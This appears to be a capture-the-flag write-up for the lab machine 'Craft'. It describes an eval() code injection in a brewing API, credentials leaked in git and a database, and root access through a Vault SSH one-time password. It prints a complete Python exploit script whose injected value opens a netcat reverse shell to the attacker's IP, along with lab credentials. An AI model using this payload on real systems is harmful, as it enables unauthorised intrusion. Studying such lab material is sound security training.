
Target IP: 10.10.10.110
Exploitation Summary
Initial Exploitation
- Vulnerability: Command execution on /api/brew.py
- Explanation: The api script is testing ABV parameter to ensure value is less than or equal to 1.0. However eval function is used that allows code injection.
Privilege Escalation (user)
- Vulnerability: critical information stored in git
- Explanation: ssh private key is stored in git. Obtaining the private key allows ssh login to the owner.
Privilege Escalation (root)
- Vulnerability: vault is setup to allow root access
- Explanation: Script stored in git revealed vault is setup to allow ssh login as root.
Enumeration
nmap -p- -A -T4 10.10.10.110

TCP 22: OpenSSH 7.4p1 Debian TCP 443: nginx 1.15.8 TCP 6022: ssh
Initial Shell Exploitation
Port 443 open. So let’s check out the website

The site hosts a simple page with no seemingly interesting information. But there are 2 links at the top right hand corner currently inaccessible because of unknown host name.
- https://api.craft.htb/api/
- https://gogs.craft.htb/
Let’s add them to /etc/hosts to see what we can find.

Navigate to both https://api.craft.htb/api/ and https://gogs.craft.htb/


After navigating a bit on these 2 sites, it is found that https://api.craft.htb/api/ contains some operations that can be performed while https://gogs.craft.htb contains the source codes of the operations.
Further investigation reveals that a fix on the script brew.py actually introduced a vulnerability:


eval() function is used to ensure valid ABV value (< 1.0) is provided. However, the user input (ABV value) is not sanitized to be a valid number. Therefore, arbitrary code injection is possible and eval() function will executed the injected code, resulting in remote code execution.
Exploitation
Let’s do a quick test on the /brew/ api by posting “abv”: “2” and see what happens.
- navigate to https://api.craft.htb/api/ page
- click on POST button of /brew/ api
- click Try it out

- enter “2” for “abv”
- click Execute

It returns a 403 FORBIDDEN error. Looks like we need to authenticate to the api website first.

So, in order to exploit this vulnerability, we will need to find some credentials to authenticate our api usage. Fortunately, it doesn’t take long to find the needed credentials because the credentials were included in the test script test.py initially.


credentials: dinesh:4aUh0A8PbVJxgd
What’s even better is that with a simple modification, this test.py can be used to perform the exploitation. The updated test.py is as follow:
#!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV… should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.34 443 >/tmp/f")#2' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text)
- credentials dinesh:4aUh0A8PbVJxgd is used for authentication
- code injection: __import__(“os”).system(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.34 443 >/tmp/f”)#2 is used as the ABV value to establish a reverse shell using netcat
Setup Netcat listening to port 80 (at kali)
nc -nvlp 80
Execute the exploit
python test.py


Wow. Nice. We got root already. Unfortunately, after a quick navigation, the root shell isn’t on the actual shell, there’s no root.txt file and the ip address is different. Most likely, it’s within a container.

Privilege Escalation (user)
More enumeration is needed. There’s a python file dbtest.py at /opt/app. It imports the mysql credentials in /opt/app/craft_api/settings.py to perform sql query.

Quick modification to dbtest.py is done to reveal the tables available in mysql db:
#!/usr/bin/env python import pymysql from craft_api import settings # test connection to mysql database connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "show tables" cursor.execute(sql) result = cursor.fetchall() print(result) finally: connection.close()

The table ‘user’ looks interesting. Modify the sql command to “select * from user” and run the script again.

Found 3 sets of credentials:
dinesh:4aUh0A8PbVJxgd ebachman:llJ77D8QFkLPQB gilfoyle:ZEU3N8WNM2rh4T
No luck in using the credentials on SSH login. But we can login to the Gogs site using the credentials. Let’s try it on user gilfoyle.

There’s a repository craft-infra under gilfoyle’s account. A ssh key pair is found (including private key) under craft-infra/.ssh:

I copy the private key id_rsa and saved it as ‘id_rsa_gilfoyle‘ and am able to use it to login successfully as gilfoyle. Passphrase is needed which is the credentials obtained from the mysql database.
chmod 600 id_rsa_gilfoyle ssh -i id_rsa_gilfoyle gilfoyle@10.10.10.110


Privilege Escalation (admin)
gilfoyle’s home folder has an interesting file .vault-token which has following content:

And gilfoyle’s repository craft-infra has a folder vault with file secrets.sh:

After googling, it is a vault from vaultproject.io to manage secrets and protect sensitive data. The secrets.sh script shows that the vault can grant OTP (one time password) for SSH login as root. gilfoyle already has the vault token in his home folder, we can them use the following command to ssh login as root:
vault ssh -mode=otp -role=root_otp root@10.10.10.110

Highlighted string is the one time password provided by the vault for use to login as root.
Root shell obtained. Nice box. Thank you rotarydrone for making the machine.